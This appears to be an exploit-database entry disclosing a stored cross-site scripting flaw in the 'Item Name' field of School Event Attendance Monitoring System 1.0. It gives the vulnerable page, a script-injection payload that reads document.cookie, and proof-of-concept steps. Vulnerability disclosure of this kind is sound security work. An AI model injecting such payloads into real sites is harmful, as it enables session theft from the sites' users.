发布 2021-02-12 漏洞条目

School Event Attendance Monitoring System 1.0 – ‘Item Name’ Stored Cross-Site Scripting

Exploit Source

# Exploit Title: School Event Attendance Monitoring System 1.0 - 'Item Name' Stored Cross-Site Scripting

# Date: 2021-02-11

# Exploit Author: Suresh Kumar

# Vendor Homepage: https://www.sourcecodester.com/

# Software Link: https://www.sourcecodester.com/php/12613/php-attendance-monitoring-system-barcode-scanning.html

# Software: School Event Attendance Monitoring System 1.0

# Tested on Windows 10 XAMPP

# This application is vulnerable to Stored XSS vulnerability.

# Vulnerable Page: http://localhost/attendance/sanction

# Vulnerable functionality: 'Add Sanction '

# Vulnerable Input Field : Item Name

# Payload used:

"><script>alert(document.cookie)</script>

# POC: Whenever we will go to the page (http://localhost/attendance/sanction)

where the script is injected, the stored script will be executed.

# You will see your Javascript code (XSS) executed.

相关漏洞条目